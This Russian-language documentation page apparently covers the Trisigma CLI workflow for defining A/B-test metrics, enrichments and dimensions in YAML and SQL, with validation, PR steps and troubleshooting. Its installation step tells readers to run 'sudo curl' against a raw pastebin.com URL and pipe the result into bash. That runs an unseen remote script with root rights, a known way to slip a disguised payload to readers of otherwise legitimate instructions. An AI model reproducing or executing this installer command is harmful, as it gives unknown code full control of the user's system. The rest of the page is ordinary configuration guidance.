Перейти к содержанию

Практический Workflow#

Пошаговая инструкция создания метрики от идеи до продакшена.

Предварительные требования#

0. Получите доступ к репозиторию#

Если у вас еще нет доступа к репозиторию метрик, обратитесь в канал Trisigma Support Channel или к команде Trisigma для настройки доступа.

Подробнее об интеграции: см. документацию по настройке репозитория.

1. Установите Trisigma CLI#

sudo curl -sSL https://pastebin.com/raw/JwywS2A8 | tr -d '\r' | bash
trisigma init

2. Клонируйте репозиторий#

git clone git@github.com:<your-company>/<your-company>_ab_metrics.git ~/projects/ab-metrics
cd ~/projects/ab-metrics

3. Проверьте доступ#

trisigma sl validate

Сценарий 1: Простая метрика#

Задача: Метрика "Конверсия в телефонный звонок"#

Измеряем долю пользователей, кто позвонил после просмотра объявления.

Шаг 1: Создайте ветку#

trisigma sl task AB-1234 "Добавление метрики phone_call_rate"

Шаг 2: Выберите source#

trisigma sl list-sources
trisigma sl compile --source buyer_stream

Убедитесь что source содержит необходимые колонки: cookie_id, eid, event_date.

Шаг 3: Создайте метрику#

Создайте metrics/phone_call_conversion.yaml:

definitions:
  - &is_item_view {eid: 303}
  - &is_phone_call {eid: 315}

metric.counter:
  item_views: {filter: *is_item_view, obs: [events_count]}
  phone_calls: {filter: *is_phone_call, obs: [events_count]}

metric.uniq:
  item_viewers: {counter: item_views, key: [cookie_id]}
  phone_callers: {counter: phone_calls, key: [cookie_id]}

metric.ratio:
  phone_call_rate: {num: phone_callers, den: item_viewers}

Шаг 4: Привяжите к source#

Откройте sources/sources.yaml:

buyer_stream:
  metric_configs:
    - buyer_stream
    - phone_call_conversion  # Добавили

Шаг 5: Валидируйте#

trisigma sl validate

Если есть ошибки: 

trisigma sl validate --ai-explain

Шаг 6: Проверьте SQL#

trisigma sl compile --metrics phone_call_rate

Шаг 7: Сохраните#

trisigma sl save -m "AB-1234: Добавил метрику phone_call_rate"

Шаг 8: Опубликуйте PR#

trisigma sl publish

Шаг 9: Review и merge#

  1. Откройте PR по ссылке
  2. Автоматически запустится билд валидации
  3. Результаты валидации отобразятся в комментариях к PR
  4. Дождитесь review
  5. После апрува используйте команду run merge в комментариях PR
  6. Попросите merge в Trisigma Support Channel, если возникли проблемы

Шаг 10: Проверка после merge#

После успешного мерджа:

  1. Перейдите в Реестр метрик
  2. Найдите вашу метрику
  3. Проверьте сгенерированный SQL
  4. Убедитесь, что логика расчета соответствует ожиданиям

Сценарий 2: Метрика с enrichment#

Задача: Метрика "DAU по сегментам покупателя"#

Измеряем активных пользователей с разбивкой по сегментам (seeker/offerer).

Шаг 1: Проверьте enrichment#

trisigma sl list-sources
trisigma sl compile --source buyer_stream --dimensions buyer_segment

Если buyer_segment доступен, переходите к созданию метрики.

Если enrichment отсутствует, создайте enrichments/buyer_segment.yaml:

buyer_segment_cookie:
  sql: |
    SELECT cookie_id, event_date, buyer_segment
    FROM dma.v_buyer_segments
    WHERE {{ pushdown_filter(cookie_id='cookie_id') }}
      AND event_date BETWEEN :first_date AND :last_date
  join_key: [cookie_id, event_date]

Шаг 2: Создайте метрику#

Создайте metrics/dau_by_segment.yaml:

definitions:
  - &is_seeker {buyer_segment: 'seeker'}
  - &is_offerer {buyer_segment: 'offerer'}

metric.counter:
  seeker_events: {filter: *is_seeker, obs: [events_count]}
  offerer_events: {filter: *is_offerer, obs: [events_count]}

metric.uniq:
  dau_seekers: {counter: seeker_events, key: [cookie_id]}
  dau_offerers: {counter: offerer_events, key: [cookie_id]}

Шаг 3: Привяжите к source#

buyer_stream:
  metric_configs:
    - buyer_stream
    - dau_by_segment  # Добавили

Шаг 4: Валидируйте и проверьте#

trisigma sl validate
trisigma sl compile --metrics dau_seekers --dimensions buyer_segment

Enrichment применится автоматически, т.к. метрика использует buyer_segment.

Сценарий 3: Dimension с enrichment#

Задача: Добавить dimension "Источник трафика"#

Шаг 1: Создайте enrichment#

Создайте enrichments/traffic_source.yaml:

traffic_source_cookie:
  sql: |
    SELECT cookie_id, event_date, traffic_source_id
    FROM dma.v_traffic_sources
    WHERE {{ pushdown_filter(cookie_id='cookie_id') }}
      AND event_date BETWEEN :first_date AND :last_date
  join_key: [cookie_id, event_date]

Шаг 2: Создайте dimension#

Добавьте в dimensions/dimensions.yaml:

traffic_source:
  has_id: true
  description: "Источник трафика (organic, paid, direct)"

Шаг 3: Создайте справочник#

Создайте dimensions/sql/traffic_source.sql:

SELECT
  source_name as value,
  source_id as value_id
FROM dma.d_traffic_sources
WHERE is_active = true

Шаг 4: Валидируйте#

trisigma sl validate

Шаг 5: Проверьте использование#

trisigma sl compile --metrics daily_active_users --dimensions traffic_source

Сценарий 4: Calculated Fields#

Задача: Добавить поле "Возраст объявления в часах"#

Когда нужно использовать вычисляемое поле в метриках и dimensions.

Шаг 1: Определите calculated field#

В файле enrichment добавьте:

item_attr_log:
  sql: |
    SELECT item_id, event_date, sort_time, event_datetime
    FROM dma.item_attr_log
    WHERE {{ pushdown_filter(item_id='item_id') }}
  join_key: [item_id, event_date]

calculated_fields:
  item_age_hours: date_diff('hour', sort_time, event_datetime)

Шаг 2: Используйте в метрике#

metric.counter:
  fresh_item_views:
    filter: [item_age_hours.<: 24, eid: 303]  # Объявления младше 24 часов
    obs: [events_count]

metric.uniq:
  fresh_item_viewers:
    counter: fresh_item_views
    key: [cookie_id]

Шаг 3: Валидируйте#

trisigma sl validate
trisigma sl compile --metrics fresh_item_viewers

Быстрая справка команд#

Управление задачами#

# Создание ветки
trisigma sl task AB-1234 "Описание"

# Статус
trisigma sl status

Валидация и компиляция#

# Валидация
trisigma sl validate
trisigma sl validate --ai-explain

# Компиляция source
trisigma sl compile --source buyer_stream

# Компиляция метрик
trisigma sl compile --metrics daily_active_users
trisigma sl compile --metrics conversion_rate --dimensions platform

# Режим watch (автоматическая перекомпиляция при изменениях)
trisigma sl compile --source buyer_stream --watch

Списки#

trisigma sl list-sources
trisigma sl list-dimensions
trisigma sl list-metrics

Git операции#

trisigma sl save -m "AB-1234: Описание изменений"
trisigma sl publish

Частые проблемы#

1. Валидация не проходит: колонка не найдена#

Error: column 'cookie_id' not found in source

Решение: Проверьте SQL source или enrichment: 

trisigma sl compile --source my_source

Убедитесь, что колонка присутствует в SELECT.

2. Metric ссылается на несуществующий counter#

Error: metric 'buyers' references counter 'purchases' which doesn't exist

Решение: Определите counter в том же файле: 

metric.counter:
  purchases: {filter: [eid: 500], obs: [events_count]}

metric.uniq:
  buyers: {counter: purchases, key: [cookie_id]}

3. Enrichment не применяется#

Причины: - В source отсутствуют колонки из join_key - Колонка enrichment не используется в метрике или dimension

Решение: Проверьте: 

trisigma sl compile --source buyer_stream

Убедитесь, что все колонки из join_key присутствуют в source: 

buyer_segment_cookie:
  join_key: [cookie_id, event_date]  # ОБА поля должны быть в source

4. Циклическая зависимость enrichments#

Error: circular dependency detected: enrichment_a -> enrichment_b -> enrichment_a

Решение: Пересмотрите join_key в enrichments, чтобы избежать циклов.

5. Dimension справочник не найден#

Error: dimension 'my_dimension' is missing SQL file

Решение: Создайте файл dimensions/sql/my_dimension.sql со справочником.

6. Несоответствие типов для has_id#

Error: dimension 'platform' has has_id=True but column 'platform' is not integer type

Решение: - Убедитесь, что колонка имеет суффикс _id: platform_id - Или измените has_id: false, если это не ID-поле

Чеклист перед PR#

  • Создана ветка через trisigma sl task
  • Выбран подходящий source (или создан новый)
  • Создан файл метрики (или enrichment/dimension)
  • Метрика привязана к source в sources.yaml
  • Валидация прошла (trisigma sl validate)
  • SQL проверен (trisigma sl compile --metrics)
  • Tested with dimensions (trisigma sl compile --metrics X --dimensions Y)
  • Сохранено (trisigma sl save -m "AB-XXXX: описание")
  • PR опубликован (trisigma sl publish)

Следующие шаги#

Документация#

  • Концепции — как работает семантический слой
  • Sources — таблицы фактов
  • Enrichments — автоматическое обогащение
  • Metrics — логика расчета метрик
  • Dimensions — разрезы

Инструменты#

Поддержка#

  • Trisigma Support Channel — общие вопросы по платформе
  • Trisigma Team Channel — вопросы по метрикам и семантическому слою